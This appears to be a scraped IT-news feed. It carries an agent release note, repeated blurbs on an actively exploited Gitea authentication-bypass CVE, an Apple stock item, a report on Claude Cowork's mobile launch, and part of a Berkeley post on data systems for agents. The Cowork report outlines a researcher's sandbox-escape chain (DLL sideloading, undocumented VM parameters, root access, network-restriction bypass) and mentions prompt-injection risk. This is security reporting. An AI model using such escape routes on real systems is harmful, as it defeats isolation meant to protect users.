href="https://www.reddit.com/r/linux/comments/1uqfkiv/i_have_fewer_problems_with_linux_than_with_windows/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uqfkiv/i_have_fewer_problems_with_linux_than_with_windows/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.1 (2026.7.7)]]></title>
<description><![CDATA[Hermes Agent v0.18.1 (v2026.7.7)
Release Date: July 7, 2026

Patch release. This tag rolls up the ~660 PRs merged since v0.18.0 (July 1) — bug fixes, hardening, and in-progress feature work — into a stable tagged release for downstream consumers (Docker images, hosted deployments, PyPI installs)....]]></description>
<link>https://tsecurity.de/de/3653026/downloads/hermes-agent-v0181-202677/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653026/downloads/hermes-agent-v0181-202677/</guid>
<pubDate>Wed, 08 Jul 2026 03:17:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.1 (v2026.7.7)</h1>
<p><strong>Release Date:</strong> July 7, 2026</p>
<blockquote>
<p>Patch release. This tag rolls up the ~660 PRs merged since v0.18.0 (July 1) — bug fixes, hardening, and in-progress feature work — into a stable tagged release for downstream consumers (Docker images, hosted deployments, PyPI installs).</p>
</blockquote>
<hr>
<h2>About this release</h2>
<p>This is an infrastructure-driven patch tag rather than a fully curated release. Since v0.18.0 shipped six days ago, main has accumulated roughly <strong>667 commits across ~990 files (+89.5k/−10.4k lines)</strong>, including installer/updater self-healing on Windows, dashboard and gateway fixes, WhatsApp dashboard pairing, MCP and provider fixes, and a large volume of stability work.</p>
<p><strong>Full curated release notes for this window will ship with v0.19.0</strong>, which will document everything from v0.18.0 onward — highlights, feature areas, and complete contributor credits. Nothing in this window is skipped; it's documented in the next minor release.</p>
<h2>Updating</h2>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="hermes update        # existing installs
pip install -U hermes-agent"><pre>hermes update        <span class="pl-c"><span class="pl-c">#</span> existing installs</span>
pip install -U hermes-agent</pre></div>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.7">v2026.7.1...v2026.7.7</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896]]></title>
<description><![CDATA[A critical flaw in Gitea’s official Docker image let anyone impersonate an admin with one forged header. Sysdig spotted the first exploitation attempts 13 days after the fix shipped. Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896 on Latest Hacking…
Read more →
The post Gitea ...]]></description>
<link>https://tsecurity.de/de/3652924/it-security-nachrichten/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652924/it-security-nachrichten/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/</guid>
<pubDate>Wed, 08 Jul 2026 01:23:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical flaw in Gitea’s official Docker image let anyone impersonate an admin with one forged header. Sysdig spotted the first exploitation attempts 13 days after the fix shipped. Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896 on Latest Hacking…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/">Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896]]></title>
<description><![CDATA[A critical flaw in Gitea's official Docker image let anyone impersonate an admin with one forged header. Sysdig spotted the first exploitation attempts 13 days after the fix shipped.
Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896 on Latest Hacking News | Cyber Security News, ...]]></description>
<link>https://tsecurity.de/de/3652886/it-security-nachrichten/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652886/it-security-nachrichten/gitea-docker-vulnerability-now-under-active-probing-cve-2026-20896/</guid>
<pubDate>Wed, 08 Jul 2026 00:53:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical flaw in Gitea's official Docker image let anyone impersonate an admin with one forged header. Sysdig spotted the first exploitation attempts 13 days after the fix shipped.</p>
<p><a href="https://latesthackingnews.com/2026/07/07/gitea-docker-vulnerability-exploitation/">Gitea Docker Vulnerability Now Under Active Probing, CVE-2026-20896</a> on <a href="https://latesthackingnews.com/">Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Gitea Docker Bug Under Active Exploitation Exposes Repositories and Secrets]]></title>
<description><![CDATA[Attackers are exploiting a critical Gitea flaw (CVE-2026-20896) that bypasses authentication with a single HTTP header, exposing repositories and sensitive data. Sysdig researchers warn that attackers are actively exploiting a critical authentication bypass flaw, tracked as CVE-2026-20896 (CVSS s...]]></description>
<link>https://tsecurity.de/de/3652854/it-security-nachrichten/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652854/it-security-nachrichten/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/</guid>
<pubDate>Wed, 08 Jul 2026 00:20:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are exploiting a critical Gitea flaw (CVE-2026-20896) that bypasses authentication with a single HTTP header, exposing repositories and sensitive data. Sysdig researchers warn that attackers are actively exploiting a critical authentication bypass flaw, tracked as CVE-2026-20896 (CVSS score of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/">Critical Gitea Docker Bug Under Active Exploitation Exposes Repositories and Secrets</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Gitea Docker Bug Under Active Exploitation Exposes Repositories and Secrets]]></title>
<description><![CDATA[Attackers are exploiting a critical Gitea flaw (CVE-2026-20896) that bypasses authentication with a single HTTP header, exposing repositories and sensitive data. Sysdig researchers warn that attackers are actively exploiting a critical authentication bypass flaw, tracked as CVE-2026-20896 (CVSS s...]]></description>
<link>https://tsecurity.de/de/3652818/it-security-nachrichten/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652818/it-security-nachrichten/critical-gitea-docker-bug-under-active-exploitation-exposes-repositories-and-secrets/</guid>
<pubDate>Tue, 07 Jul 2026 23:53:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Attackers are exploiting a critical Gitea flaw (CVE-2026-20896) that bypasses authentication with a single HTTP header, exposing repositories and sensitive data. Sysdig researchers warn that attackers are actively exploiting a critical authentication bypass flaw, tracked as CVE-2026-20896 (CVSS score of 9.8), which affects Gitea official Docker images before version 1.26.3. “CVE-2026-20896 exploited 13 days after […]]]></content:encoded>
</item>
<item>
<title><![CDATA[J.P. Morgan Raises Apple Stock Price Target to $345 Despite Price Hikes]]></title>
<description><![CDATA[J.P. Morgan has raised its price target for Apple stock to $345 while keeping its Buy rating, showing confidence that the company's recent product price increases will not hurt its long-term growth. 



Apple increased prices across several products in late June because of higher memory costs, an...]]></description>
<link>https://tsecurity.de/de/3652628/ios-mac-os/jp-morgan-raises-apple-stock-price-target-to-345-despite-price-hikes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652628/ios-mac-os/jp-morgan-raises-apple-stock-price-target-to-345-despite-price-hikes/</guid>
<pubDate>Tue, 07 Jul 2026 21:39:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[J.P. Morgan has raised its price target for Apple stock to $345 while keeping its Buy rating, showing confidence that the company's recent product price increases will not hurt its long-term growth. 



Apple increased prices across several products in late June because of higher memory costs, and although the announcement briefly pushed the stock lower, shares have recovered strongly and are now trading close to record highs. The investment firm believes Apple remains in a strong position despite concerns about higher hardware prices.



According to AppleInsider, J.P. Morgan believes Apple's sales have stayed resilient over the years even when product prices increased, especially across the iPhone, Mac, and iPad lineup.




"Historical data for sales volumes covering iPhone, Mac, and iPad show a 'limited relationship' to pricing across multiple years. Essentially, consumers are going to buy Apple products anyway, and pricing doesn't seem to matter too much," J.P. Morgan said in its note to investors.




Apple's Premium Products Continue to Support Growth



J.P. Morgan expects Mac sales to remain strong because buyers have multiple price options, while growing interest in AI features continues to encourage upgrades. The firm also said customers who buy premium iPhone models are generally less affected by higher prices, which helps reduce the impact of future pricing changes. 



Although budget iPhone and iPad models are more sensitive to price increases, the firm described those effects as only modest revenue headwinds when combined with sales of higher-end devices.



Apple has not increased iPhone prices yet, but many industry watchers expect changes when the next generation lineup arrives in September. Meanwhile, investors will get an early look at how the recent pricing strategy affects the business when Apple reports its third quarter earnings on July 30.



After dropping following the price hike announcement in late June, Apple shares have recovered nearly 15%, reinforcing J.P. Morgan's view that the company remains well positioned for long-term growth.]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic brings Claude Cowork to mobile and web as usage data shows most users aren’t coding]]></title>
<description><![CDATA[Anthropic on Tuesday launched Claude Cowork on mobile and web, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.The rollout, which begins in beta with Max ...]]></description>
<link>https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</guid>
<pubDate>Tue, 07 Jul 2026 20:03:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> on Tuesday launched <a href="https://claude.com/blog/cowork-web-mobile/">Claude Cowork on mobile and web</a>, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.</p><p>The rollout, which begins in beta with <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Max subscribers</a> before expanding to additional plans, marks a strategic inflection for Anthropic. It transforms Cowork from a desktop-only agent into a cross-device platform where tasks can start on a laptop, continue autonomously in the background, and be reviewed from a phone — even after the user closes the app entirely.</p><p>"Your work goes everywhere with you, and keeps going without you," Anthropic writes in its announcement.</p><p>The timing is deliberate. Alongside the mobile launch, Anthropic published usage data from 1.2 million anonymized Claude Cowork sessions sampled between May 11 and May 31, drawn from more than 600,000 organizations. The data paints a striking picture: the overwhelming majority of what people do with Cowork has nothing to do with writing software.</p><div></div><h2><b>The biggest AI story nobody's talking about</b></h2><p>The numbers tell a story that cuts against the dominant narrative in enterprise AI, which has fixated on coding assistants and developer productivity as the primary use case for large language models.</p><p>Business process and operations — tasks like pulling scattered updates into a single report, building onboarding checklists, and reconciling spreadsheets — accounted for 33.4% of all sampled Cowork sessions, making it the single largest category by a wide margin. Content creation and copywriting — producing drafts, slide decks, posts, and proposals — came in second at 16.4%.</p><p>Together, those two categories make up roughly half of all Claude Cowork usage. Software development, by contrast, accounted for just 8.7%. DevOps and infrastructure followed at 7%, with research and intelligence at 6.4%, data analysis and business intelligence at 5.8%, document processing and extraction at 4.1%, and sales and revenue operations at 4%.</p><p>The remaining 12 categories each represented less than 4% of usage, including personal assistance at 3.8%, education at 2.4%, and meeting intelligence at 1.8%.</p><p>Anthropic describes these dominant use cases as "the work around the work" — tasks that span nearly every role in an organization but rarely appear in anyone's core job description. "People are using it for a variety of tasks that aren't necessarily the hallmark of a specific role, but instead represent the connective work around a role that moves projects forward and keeps businesses running," the company writes. "That means tasks like drafting a status update, building a slide deck, or condensing reams of research into a single report."</p><p>That phrase — "the work around the work" — is Anthropic's attempt to define and claim an entirely new category of AI productivity. It's a calculated reframing: rather than positioning AI as a tool that replaces what professionals do, Anthropic is arguing that the most valuable current application is handling everything professionals do around their actual expertise.</p><h2><b>What mobile access changes — and what it doesn't</b></h2><p>The <a href="https://claude.com/blog/cowork-web-mobile/">expansion to mobile and web</a> introduces three concrete capabilities that reflect how Anthropic envisions Cowork fitting into daily workflows.</p><p>First, sessions now sync across devices. A user can start a task at their desk, check on its progress from a phone, and retrieve the finished output from any device. Second — and arguably more significant — Cowork can now run tasks in the background with no device online at all. Users can schedule work for a specific time, and Claude will execute it autonomously. Anthropic offers the example of setting Monday morning client prep for 6 a.m.: "Claude works through the email threads, transcripts, and recent news, builds the briefing doc, and leaves the follow-up email drafted but unsent. Review it over coffee."</p><p>Third, when Claude encounters a decision that requires human judgment, it surfaces the question to the user's phone. "Nothing ships until you've reviewed and approved it," Anthropic states.</p><p>Desktop remains the most fully featured surface, with access to local files and the browser. But the web version also opens Cowork to users who cannot install a desktop application — a meaningful expansion in enterprise environments where IT departments control software installation.</p><p>The company also unified its interface: on web and desktop, chat and Cowork now share a single home screen, and projects and artifacts persist across both modes.</p><p>To encourage adoption, Anthropic is extending doubled Cowork usage limits through August 5.</p><h2><b>The strategic logic: why Anthropic is chasing the non-developer</b></h2><p>The usage data and the mobile launch together reveal a company executing a two-track strategy. <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, its terminal-based coding agent, dominates among software developers. But Cowork is designed to capture the vastly larger population of professionals whose work involves creating, organizing, and communicating information rather than writing code.</p><p>The contrast between the two products is instructive. As Anthropic notes, Claude Code "is most often used by software developers for the key parts of their role: building, debugging, and shipping code." When developers do use <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a>, they tend to use it not for programming but for the communications-focused work that surrounds every role — status updates, documentation, and coordination.</p><p>This pattern — where AI handles the connective tissue of work rather than its core substance — aligns with what Anthropic describes as people using "Claude Cowork to assemble and structure the information they can use to act on their expertise." The company illustrates this with three examples: a lawyer using Cowork for document formatting and filing while reserving legal judgment for themselves, a hiring manager synthesizing interview feedback while spending more time on candidate conversations, and a team lead producing a slide deck that explains a decision while focusing on actually making that decision.</p><p>The implications for Anthropic's business model are significant. Developer-focused tools, while high-profile, serve a relatively narrow market. The <a href="https://ramp.com/data/ai-index">Ramp AI Index</a> published in May showed Anthropic pulling ahead of OpenAI in business adoption for the first time — with 34.4% of firms paying for Anthropic's services compared to OpenAI's 32.3% — and suggests the company's enterprise push is gaining traction. Claude Code was identified as the primary driver of that shift. But Cowork targets an addressable market that is orders of magnitude larger: every knowledge worker with a laptop, a pile of spreadsheets, and a slide deck due by Friday.</p><h2><b>A crowded field gets more competitive</b></h2><p>The mobile launch arrives during one of Anthropic's busiest — and most turbulent — stretches in its history. </p><p>Just last week, Anthropic launched <a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a>, a new model that narrows the performance gap with its more expensive Opus-class models while maintaining lower pricing. The model is available at introductory pricing of $2 per million input tokens through August 31 before rising to $3 per million input tokens. Sonnet 5 serves as the engine underneath Cowork, and its improved agentic capabilities — better reasoning, tool use, and sustained task completion — directly enhance Cowork's ability to handle complex, multi-step workflows.</p><p>Two weeks before that, Anthropic released <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Claude Tag</a>, a Slack-native AI agent designed for team collaboration. Where Cowork focuses on individual task delegation, Claude Tag operates as a multiplayer tool — a single Claude identity that everyone in a Slack channel can interact with, building context from conversations over time. </p><p>According to Anthropic's announcement, 65% of the company's own product team's code is created by its internal version of Claude Tag. <a href="https://fortune.com/2026/06/23/anthropic-claude-tag-virtual-employee-tool-slack/">Fortune reported</a> that Anthropic's head of product for Claude Code and Cowork, Cat Wu, described the distinction: "Claude Code, Cowork, and chat are very single-player, whereas Claude Tag is built to be interactive and multiplayer."</p><p>Together, <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> and <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a> represent a pincer strategy: Cowork captures individual productivity workflows across devices, while Claude Tag embeds AI into team communication channels. Both are designed to push Anthropic deeper into enterprise operations, beyond the developer seat.</p><h2><b>The security question looms</b></h2><p>The expansion also arrives against a backdrop of unresolved security concerns. On July 1, security firm Armadin — led by Mandiant founder Kevin Mandia — published research detailing what it described as a full sandbox escape in Claude Cowork on Windows, as reported by <a href="https://siliconangle.com/2026/07/01/armadin-details-full-sandbox-escape-claude-cowork-anthropic-disputes-risk/">SiliconANGLE</a>. The attack chain involved DLL sideloading against the Claude desktop executable to gain trusted access to Cowork's virtual machine service, then exploiting undocumented parameters to achieve root access and bypass network restrictions.</p><p>Anthropic responded that the vulnerability did not qualify as a security issue because exploiting it requires an attacker to already have local code execution on the host machine. Armadin, however, raised a broader concern: that deploying local virtual machines on nontechnical users' systems creates visibility gaps that endpoint security products struggle to monitor.</p><p>This tension takes on new dimensions as Cowork moves to mobile and web. The web and mobile versions run tasks server-side rather than in a local virtual machine, which eliminates the specific attack surface Armadin identified but introduces different questions about data handling, especially for scheduled background tasks that process email threads, calendar data, and documents without real-time user oversight.</p><p>Anthropic's announcement states that "<a href="https://claude.com/blog/cowork-web-mobile/">the decisions still come to you</a>" and that nothing ships without review and approval. But as Cowork takes on increasingly complex autonomous workflows — processing contract folders, building client briefings from multiple data sources, drafting emails — the surface area for prompt injection and data exposure grows correspondingly. </p><p>When Cowork first launched in January, TechCrunch reported that Anthropic <a href="https://techcrunch.com/2026/01/12/anthropics-new-cowork-tool-offers-claude-code-without-the-code/">explicitly warned</a> about prompt injection risks, noting in its blog post: "These risks aren't new with Cowork, but it might be the first time you're using a more advanced tool that moves beyond a simple conversation."</p><h2><b>As Anthropic courts enterprises, geopolitics complicates the pitch</b></h2><p>Anthropic's enterprise push is also colliding with geopolitical reality. CNBC reported Monday that <a href="https://www.cnbc.com/2026/07/06/alibaba-anthropic-ai-ban-claude-china.html#:~:text=Alibaba%20will%20ban%20employees%20from%20using%20Anthropic%20's%20artificial%20intelligence,risks%2C%20CNBC%20confirmed%20on%20Monday.">Alibaba will ban employees from using Anthropic's AI tools</a> starting July 10, placing Claude Code on a high-risk software list. The move followed Anthropic's June letter to the U.S. Senate accusing Alibaba of carrying out what it called "<a href="https://www.reuters.com/world/china/anthropic-says-alibaba-illicitly-extracted-claude-ai-model-capabilities-2026-06-24/">the largest known distillation attack</a>" against its models.</p><p>The Alibaba ban, combined with reports that Anthropic is closing loopholes that allowed Chinese companies to access Claude through third-country entities, underscores the increasingly fraught environment for AI companies attempting to serve global enterprise customers while navigating U.S. export and security restrictions.</p><p>At the same time, Anthropic is investing massively in infrastructure. Reuters reported Monday that <a href="https://www.reuters.com/business/terawulf-jumps-19-billion-data-center-lease-deal-with-anthropic-2026-07-06/">Anthropic signed a $19 billion, 20-year lease with TeraWulf for a data center</a> being built in Hawesville, Kentucky, with 401 megawatts of computing power expected to become fully operational in 2028.</p><p>That kind of capital commitment only makes sense if the company expects enterprise demand — not just from developers, but from the millions of knowledge workers that Cowork targets — to grow dramatically.</p><h2><b>Anthropic's own usage report comes with notable blind spots</b></h2><p>Anthropic is transparent about the limitations of its usage analysis. The taxonomy classifies sessions by the type of work being performed, not by the job title of the person doing it. </p><p>There are no standalone categories for marketing, finance, or HR — functions that are likely absorbed into the dominant "business process and operations" bucket, which may partly explain why that category commands a third of all usage.</p><p>The sample is also rate-capped rather than proportional to traffic, meaning the numbers are shares of sampled sessions, not absolute volumes. Usage during peak hours is somewhat underrepresented. And roughly 5% of sampled sessions involved personal, non-work use — hobbies, personal assistance, and companionship-style conversations — meaning the data doesn't purely reflect workplace activity.</p><p>The company also acknowledged that its labeling pipeline changed around May 11, which is why the analysis window begins on that date rather than covering a longer period.</p><h2><b>What Cowork's rise says about the future of enterprise AI</b></h2><p>Anthropic's <a href="https://claude.com/blog/cowork-web-mobile/">mobile launch</a> and usage data arrive at a moment when the enterprise AI market is shifting from proof of concept to proof of value. The question facing every company deploying AI tools is no longer whether the technology works — but whether it delivers measurable productivity gains across an organization, not just within engineering teams.</p><p>The usage data suggests that the answer, at least for Cowork, is emerging in an unexpected place. It's not in the glamorous work of building software or conducting research. It's in the unglamorous, universal labor of turning messy information into structured outputs that move organizations forward — the status reports, the onboarding checklists, the variance memos, the client decks.</p><p>By untethering that capability from the desktop and making it available on every device, Anthropic is betting that the most valuable AI agent isn't the one that writes code. It's the one that handles everything else.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intelligence is Free, Now What?  Data Systems for, of, and by Agents]]></title>
<description><![CDATA[... government of the people, by the people, for the people ...
    — Abraham Lincoln, Gettysburg Address (1863)


The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly $30 per million tokens in early 2023; today the same runs under $1, and some providers are pushing costs bel...]]></description>
<link>https://tsecurity.de/de/3652331/ai-nachrichten/intelligence-is-free-now-what-data-systems-for-of-and-by-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652331/ai-nachrichten/intelligence-is-free-now-what-data-systems-for-of-and-by-agents/</guid>
<pubDate>Tue, 07 Jul 2026 19:19:05 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- twitter -->












<p>
<i>... government of the people, by the people, for the people ...</i><br>
    — Abraham Lincoln, Gettysburg Address (1863)
</p>

<p>The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly <span class="tex2jax_ignore">$30</span> per million tokens in early 2023; today the same runs under <span class="tex2jax_ignore">$1</span>, and <a href="https://zuplo.com/learning-center/the-10x-cheaper-ai-era-api-pricing-strategy-obsolete">some providers are pushing costs below <span class="tex2jax_ignore">$0.10</span></a>. Across benchmarks, <a href="https://epochai.org/data-insights/llm-inference-price-trends">inference prices have fallen between 9x and 900x per year</a>, with a median decline near 50x. Even <a href="https://tokenmix.ai/blog/ai-pricing-trends-history">frontier models are getting dramatically cheaper</a> each generation, with open-source models following closely behind. And crucially, even if “Nobel-Prize-winning genius-level” intelligence isn’t here yet, the intelligence that suffices for the vast majority of knowledge work is here today, and getting cheaper by the month. <strong>At this rate, we are soon entering the era of virtually free intelligence</strong>—the kind that is more than enough for everyday knowledge work.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image6.png" alt="A cartoon database character and an AI robot agent holding hands" width="450">
</p>

<!--more-->

<p>
Disclosure: This post is a perspective led by <a href="https://people.eecs.berkeley.edu/~adityagp/">Aditya G. Parameswaran</a>—an Associate Professor of EECS and co-director of the EPIC Data Lab at UC Berkeley—together with his collaborators. It is part landscape survey and part perspective, and several of the research directions discussed below (including agentic speculation, structured memory, and synthesizing custom data systems from scratch) draw on the authors' own ongoing work.
</p>

<p>So, what does this new era of near-free intelligence mean for data systems? We believe three new challenges—and opportunities—stem from near-zero inference costs:</p>

<p><strong>Data Systems <em>For</em> Agents.</strong> Agents will soon become the dominant workload for data systems—with swarms of agents spun up in response to each end-user request. Given differences in characteristics between agents and humans—or applications acting on their behalf—<em>how should we redesign data systems for such agentic users?</em></p>

<p><strong>Data Systems <em>Of</em> Agents.</strong> As agents start taking on the bulk of knowledge work, a new substrate is needed for thousands of agents to manage state over long-running tasks, coordinate and reach consensus, and deal with failures. <em>What do data systems that reliably and efficiently run and manage agent swarms look like?</em></p>

<p><strong>Data Systems <em>By</em> Agents.</strong> Agents are rapidly becoming capable of synthesizing entire data systems in one go—meaning we can rebuild custom systems for each new workload. Verifying that such systems match intended behavior is a challenge. <em>What does it take to let agents synthesize data systems we can actually trust?</em></p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/for-of-by-agents.png" alt="A database character and a robot agent holding up a triangle labeled 'of', 'for', and 'by'" width="500"><br>
<i>
Data Systems For, Of, and By Agents
</i>
</p>

<p>Next, we will discuss each in more detail, followed by discussing the intertwined future of data systems and agents, especially as the three challenges intersect.</p>

<h2>Data Systems For Agents</h2>

<p>An agent querying a database doesn’t behave like a person or a BI tool. It performs what we call <a href="https://arxiv.org/abs/2509.00997"><em>agentic speculation</em></a>: a high-volume, heterogeneous stream of work spanning schema introspection, columnar exploration, partial and then full query formulation. With multiple agents each exploring portions of the hypothesis space, each user request could amount to 1000s of individual SQL queries. Now, users can issue ‘high-level’ data tasks, e.g., root-cause analysis—e.g., ‘why did coffee sales in Berkeley drop this year’—or exploratory cohort analysis—e.g., ‘which user segments are most likely to churn next quarter’—each involving a combinatorial space of potential joins, aggregations, and filter combinations.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image5.png" alt="An agent sending many SELECT SQL queries to a database and receiving results back" width="600"><br>
<i>
Data Systems Redesigned to More Effectively Support Agentic Speculation
</i>
</p>

<p>The requests from these agents have various opportunities for optimization. For instance, on a text-to-SQL benchmark with multiple agents attempting each task, only 10-20% of the sub-plans are distinct. Thus, 80-90% of sub-queries perform duplicate work. The same experiments show task success rates significantly increasing with more agentic attempts—so the redundancy is actually helpful. But from the data system perspective it’s wasted work.</p>

<p>An agent-first data system can exploit such properties to help agents make progress faster. It can reuse results across overlapping sub-plans, drawing on ideas from decades-old literature on <a href="https://dl.acm.org/doi/10.1145/42201.42203">multi-query optimization</a> and <a href="https://www.vldb.org/conf/2007/papers/research/p723-zukowski.pdf">shared scans</a>. Or the data system can try to <em>satisfice</em>, returning approximate answers that are good enough for agents to make progress, leveraging work from <a href="https://dl.acm.org/doi/10.1145/253260.253291">the</a> <a href="https://dl.acm.org/doi/10.1145/2465351.2465355">AQP</a> <a href="https://dl.acm.org/doi/10.1561/1900000004">literature</a>—or streaming the results of the final or intermediate operators to help agents decide if seeing the rest is necessary or helpful.</p>

<p>Another opportunity here is to rethink the query interface entirely: instead of agents issuing a single SQL query at a time, they could instead issue a batch of queries, each with its own approximation requirements. Since enumerating an exponential search space (as in the root cause or cohort analysis examples above) isn’t a good use of agentic reasoning ability, perhaps data systems should support higher-level primitives rather than requiring agents to list each SQL query explicitly. One idea here is to draw on <a href="https://docs.getdbt.com/docs/build/jinja-macros">DBT-style Jinja macros</a> to provide looping-based primitives for agents to interact with data systems.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/image2.png" alt="A swarm of AI agents working at laptops" width="450"><br>
<i>
A Caffeinated Army of Agents Ready to Tirelessly Complete Your Data Tasks
</i>
</p>

<p>A final opportunity here is to stop thinking of data systems as passive executors of queries; data systems could be <a href="https://arxiv.org/abs/2502.13016">proactive</a>, as they possess more grounding in data and system characteristics that agents may lack a priori—they could steer agents in different directions, provide results for related queries, and also provide performance-level feedback (e.g., instead of executing an expensive query, the system could first provide the agent a latency estimate). The reason we can do this now as opposed to the past is that an agent can accept any form of textual feedback and isn’t expecting a strict SQL query result. In fact, the data system could also prepare both materialized and virtual views for an agent in advance, provided to the agent as part of context, as this may be cheaper or more effective than having an agent author or use them.</p>

<h2>Data Systems Of Agents</h2>

<p>Previously, we focused on how agents interact with data systems. Now, we consider everything else agents need to keep working: where they live, how they remember, how they coordinate with each other, and how they deal with failures of each other. This <em>agentic substrate</em> is separate from the inference stack powering raw intelligence. However, the inference stack itself is being abstracted away through APIs (e.g., from OpenAI or Anthropic), or, for open-weight models, through <a href="https://github.com/vllm-project/vllm">serving</a> <a href="https://github.com/sgl-project/sglang">frameworks</a> that hide low-level details. So far, the agentic substrate has been managed through harnesses like <a href="https://www.anthropic.com/claude-code">Claude Code</a> and <a href="https://github.com/openai/codex">Codex</a>, coupled with various mechanisms to <a href="https://mem0.ai/">store</a> and <a href="https://www.letta.com/">retrieve</a> memory.</p>

<p>First, on the memory front, the current wisdom is that <a href="https://www.amplifypartners.com/blog-posts/file-systems-for-agents">files</a> <a href="https://lsvp.com/stories/filesystemsforagents/">are all you need</a>; agents write to unstructured markdown (MD) files, which can then be searched using grep, or via embedding-based retrieval. In fact, many argue that the solution to continual learning is having agents consume a lot (e.g., an entire codebase, slack, company wikis, …) and then write their learnings into MD files, which are then retrieved selectively on demand. Indeed, file systems, bash scripting, and MD files are and will still be important for agents. However, at scale, when agents are doing the vast majority of knowledge work, this approach will no longer be effective.</p>

<p>Given limited context windows, retrieving all MD file fragments that may be relevant and stuffing it into the context will break down at some point. Even if context windows continue to grow, there are latency benefits to not put all information into context — and in many cases, e.g., when knowledge work involves interacting with large databases or code bases, it will be infeasible to serialize all relevant data into context.</p>

<p>
<img src="https://bair.berkeley.edu/static/blog/intelligence-is-free-now-what/substrate-for-agent-swarms.png" alt="A swarm of robot agents holding hands, each drawing state from a single large shared database platform below them" width="500"><br>
<i>
Data Systems As A Substrate for Multi-Agent Swarms
</i>
</p>

